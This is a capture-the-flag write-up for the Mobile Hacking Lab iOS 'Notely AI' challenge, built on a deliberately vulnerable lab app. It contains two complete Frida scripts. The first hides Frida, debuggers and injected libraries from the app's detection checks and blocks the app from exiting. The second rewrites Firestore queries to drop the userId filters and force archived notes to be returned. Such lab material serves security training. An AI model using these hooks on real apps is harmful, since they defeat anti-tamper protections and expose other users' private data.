iOS Notely AI challenge by Mobile Hacking Lab
My solution for mobile hacking lab iOS Notely AI challenge

Notely AI
A security researcher has discovered a note-taking application called "Notely AI" that claims to have advanced security features protecting sensitive archived notes. The application implements multiple security layers including jailbreak detection, debugger detection, and admin access controls. However, these security measures may not be as robust as they appear. Can you bypass the security mechanisms and access the hidden flag in the archived notes section?
1. Mach-O Analysis
After analysing the mach-o file and observing the alertsprovided by the app. It is obvious that the appliccation is detecting the usage of frida and runtime security checks.

2. Bypassing Frida Detection and Runtime Checks
Frida works by instantiation a daemon on the jailbroken device that usually operates on port 27042.
We can pass these checks by one of the following:
A. Use 3rd party Tweaks
B. Change the port on which the daemon operates on
C. Write a custom script to bypass frida & runtime manipulation detection
I will go with the third option and write a custom script
// This script dynamically bypasses the checks that would normally require you to
// manually rename the frida-server binary and change its port and runtime manipulation detection.
console.log("\n[*] Loading Dynamic Frida-Server Hider...");
// Robust C function finder (Module.findExportByName can sometimes fail at spawn)
function findCFunction(name) {
try {
var a = Module.findExportByName(null, name);
if (a) return a;
} catch(e) {}
var mods = Process.enumerateModules();
for (var i = 0; i < mods.length; i++) {
try {
var a = mods[i].findExportByName(name);
if (a) return a;
} catch(e) {}
}
return null;
}
// ============================================================================
// 1. HIDE THE PORT (Bypasses the need to run on port 44444)
// ============================================================================
var connectPtr = findCFunction("connect");
if (connectPtr) {
Interceptor.attach(connectPtr, {
onEnter: function(args) {
var sockaddrPtr = args[1];
try {
var family = sockaddrPtr.add(1).readU8();
if (family === 2) { // AF_INET
var port = (sockaddrPtr.add(2).readU8() << 8) | sockaddrPtr.add(3).readU8();
// 27042 is the default Frida port
if (port === 27042 || port === 27043) {
console.log("[!] App tried to probe Frida port " + port + ". Blocking.");
sockaddrPtr.add(2).writeU8(0);
sockaddrPtr.add(3).writeU8(0); // Force Connection Refused
}
}
} catch(e) {}
}
});
console.log("[+] connect() hooked: Frida port hidden");
}
// ============================================================================
// 2. HIDE THE BINARY PATHS (Bypasses the need to rename to system-daemon)
// ============================================================================
var SUSPICIOUS_PATHS = [
"/usr/sbin/frida-server",
"/var/jb/usr/sbin/frida-server",
"/usr/bin/frida-server",
"frida-server"
];
function isFridaPath(path) {
if (!path) return false;
var p = path.toLowerCase();
for (var i = 0; i < SUSPICIOUS_PATHS.length; i++) {
if (p.indexOf(SUSPICIOUS_PATHS[i]) !== -1) return true;
}
return false;
}
// Added semicolon here to prevent JS interpreting the array as an index of the previous statement
;["stat", "stat64", "lstat", "lstat64", "access", "open"].forEach(function(fnName) {
var fnPtr = findCFunction(fnName);
if (fnPtr) {
Interceptor.attach(fnPtr, {
onEnter: function(args) {
try {
this.path = args[0].readUtf8String();
} catch(e) {}
},
onLeave: function(retval) {
if (this.path && isFridaPath(this.path)) {
console.log("[!] App checked for Frida binary: " + this.path + ". Hiding.");
retval.replace(ptr(-1)); // Return -1 (File Not Found)
}
}
});
}
});
console.log("[+] File system APIs hooked: Frida binary hidden");
// ============================================================================
// 3. HIDE THREAD NAMES (Bypasses process/thread enumeration checks)
// ============================================================================
var pthreadSetName = findCFunction("pthread_setname_np");
if (pthreadSetName) {
Interceptor.attach(pthreadSetName, {
onEnter: function(args) {
try {
var name = args[0].readUtf8String();
if (name && (name.indexOf("frida") !== -1 || name.indexOf("gum-js") !== -1)) {
console.log("[!] Intercepted Frida thread creation: " + name + " -> Renaming to CFNetwork");
args[0] = Memory.allocUtf8String("com.apple.CFNetwork");
}
} catch(e) {}
}
});
console.log("[+] Thread creation hooked: Frida threads disguised");
}
// ============================================================================
// 4. HIDE DEBUGGER ATTACHMENT (sysctl P_TRACED)
// ============================================================================
var sysctlPtr = findCFunction("sysctl");
if (sysctlPtr) {
Interceptor.attach(sysctlPtr, {
onEnter: function(args) {
try {
if (args[0].readU32() === 1 && args[0].add(4).readU32() === 14) {
this.db = true; this.buf = args[2];
}
} catch(e) {}
},
onLeave: function(retval) {
if (this.db && this.buf && !this.buf.isNull()) {
try {
var fp = this.buf.add(32);
var f = fp.readU32();
if (f & 0x800) fp.writeU32(f & ~0x800); // Clear P_TRACED bit
} catch(e) {}
}
}
});
console.log("[+] sysctl hooked: P_TRACED flag cleared");
}
// ============================================================================
// 5. HIDE INJECTED DYLIBS (frida-agent)
// ============================================================================
var dyldNamePtr = findCFunction("_dyld_get_image_name");
if (dyldNamePtr) {
var fakeName = Memory.allocUtf8String("/usr/lib/system/libsystem_platform.dylib");
Interceptor.attach(dyldNamePtr, {
onLeave: function(retval) {
try {
var n = retval.readUtf8String();
if (n && (n.toLowerCase().indexOf("frida") !== -1 || n.toLowerCase().indexOf("substrate") !== -1)) {
retval.replace(fakeName);
}
} catch(e) {}
}
});
console.log("[+] _dyld_get_image_name hooked: Injected dylibs hidden");
}
var getenvPtr = findCFunction("getenv");
if (getenvPtr) {
Interceptor.attach(getenvPtr, {
onEnter: function(args) { try { this.v = args[0].readUtf8String(); } catch(e) {} },
onLeave: function(retval) {
if (this.v && this.v.indexOf("DYLD_INSERT") !== -1) retval.replace(ptr(0));
}
});
}
// ============================================================================
// 6. BLOCK EXIT/ABORT (Prevent app from killing itself)
// ============================================================================
["exit", "_exit", "abort"].forEach(function(fn) {
var addr = findCFunction(fn);
if (addr) {
try {
Interceptor.replace(addr, new NativeCallback(function(code) {
console.log("[!] App attempted to call " + fn + "(" + code + ") - BLOCKED");
}, 'void', ['int']));
} catch(e) {}
}
});
console.log("[+] Exit handlers blocked");
console.log("[+] Dynamic Frida-Server Hider Active!\n");

3. App Behavior Analysis
After playing around and traversing the app UI it's obvious that the application uses Firebase and Firebase Anonymous Authentication.
Firebase Anonymous Authentication allows an application to create temporary, unauthenticated sessions.

4. Firebase Anonymous Authentication
These strings reveal that the application relies on Firebase Anonymous Authentication (Auth.auth().signInAnonymously()) to provision user sessions.
When a user opens the app, the client code immediately reaches out to the Firebase backend.
[ Client App ] ---( signInAnonymously() )---> [ Firebase Auth Backend ]
[ Client App ] <---( Returns Temporary UID )--- [ Firebase Auth Backend ]

5. Mach-O searching for an entry point using common Firebase Methods
Instead of looking into many of stripped methods which takes alongtime, we can search for common firebase & the hardcoded strings we found in the previous step:
we found some promising methods:
signInAnonymously()
_currentUser
currentUser
collectionWithPath:
addSnapshotListener:
queryWhereField:isEqualTo:
deleteDocument:
setData:merge:completion:
updateData:completion:
queryWhereField:isGreaterThan:

6. Reverse Engineering the Core Logic
Now we can use Ghidra to analyze the methods we found in the previous step and understand the underlying logic. By following the methods, we can break down the app's data flow into two main functions:
- The Setup (
FUN_100037de0): This function initializes the application state by setting up the SwiftUI@Publishedvariables and establishes the database connection by instantiating the Firestore singleton (FIRFirestore.firestore()). - The Query Construction (
FUN_100037f74): This method builds the actual request sent to the backend. It targets the "notes" collection and applies client side filters usingqueryWhereField:isEqualTo:to check theuserIdandisArchivedstatus before attaching a snapshot listener for the incoming data.


7. Solution
his application suffers from a critical Broken Access Control flaw rooted in client side security enforcement.
The Architectural Flaw
Unlike traditional SQL injection where syntax is injected into a backend relational database, this app builds Firestore (NoSQL) queries locally using the whereField:isEqualTo: API. The core issue is misplaced trust:
The application blindly relies on the client to honestly apply security filters (such as userId and isArchived). Furthermore, the backend lacks proper server side validation and fails to implement firestore.rules to enforce these data constraints.
The Exploitation Vector
Because security enforcement is handled entirely on the client side, an attacker can leverage dynamic instrumentation to bypass these controls at runtime:
- Hook the APIs: Intercept the application's Objective C query methods.
- Modify the Query: Strip away the
userIdrestriction and force theisArchivedparameter totrue. - Extract Data: Pull the unauthorized, sensitive data directly from the backend.

(function() {
'use strict';
// ----------------------------------------------------------------------
// 1. Target definition & reflection
// ----------------------------------------------------------------------
const DBG_PFX = '⚡ FIREHACK ⚡';
const TARGET_CLASS = 'FIRQuery';
const TARGET_SELECTOR = '- queryWhereField:isEqualTo:';
console.log(`\n${DBG_PFX} | initializing query interceptor...`);
const QueryClass = ObjC.classes[TARGET_CLASS];
const originalImp = QueryClass[TARGET_SELECTOR].implementation;
// ----------------------------------------------------------------------
// 2. Native bridge for original method
// ----------------------------------------------------------------------
const originalFn = new NativeFunction(
originalImp,
'pointer',
['pointer', 'pointer', 'pointer', 'pointer']
);
// ----------------------------------------------------------------------
// 3. Replacement logic – condition injection & filter stripping
// ----------------------------------------------------------------------
const replacementCallback = new NativeCallback(
function(receiver, selector, fieldArg, valueArg) {
// Extract field name as lowercase string
const fieldObj = new ObjC.Object(fieldArg);
let fieldName = fieldObj.toString().toLowerCase();
// ----- Force "isArchived" to always evaluate true -----
const ARCHIVED_FIELD_VARIANTS = [
'isarchived', 'archived', 'is_archived', 'deleted', 'isdeleted'
];
if (ARCHIVED_FIELD_VARIANTS.includes(fieldName)) {
console.log(`${DBG_PFX} | [FORCE] '${fieldName}' → overriding to true`);
const trueNSNumber = ObjC.classes.NSNumber.numberWithBool_(1);
return originalFn(receiver, selector, fieldArg, trueNSNumber);
}
// ----- Strip user/owner/uid filters (auth bypass) -----
const SENSITIVE_FIELDS = [
'userid', 'ownerid', 'uid', 'user_id', 'owner_id',
'createdby', 'useruid', 'owneruid', 'authorid'
];
if (SENSITIVE_FIELDS.includes(fieldName)) {
console.log(`${DBG_PFX} | [DROP] '${fieldName}' filter discarded → returning unmodified query`);
return receiver; // skip adding this where clause
}
// ----- Normal case: pass filter through unchanged -----
console.log(`${DBG_PFX} | [PASS] '${fieldName}' filter forwarded (value: ${new ObjC.Object(valueArg)})`);
return originalFn(receiver, selector, fieldArg, valueArg);
},
'pointer',
['pointer', 'pointer', 'pointer', 'pointer']
);
// ----------------------------------------------------------------------
// 4. Activate the hook
// ----------------------------------------------------------------------
Interceptor.replace(originalImp, replacementCallback);
console.log(`${DBG_PFX} | ✓ FIRQuery hook active – ready to extract notes & bypass rules`);
})();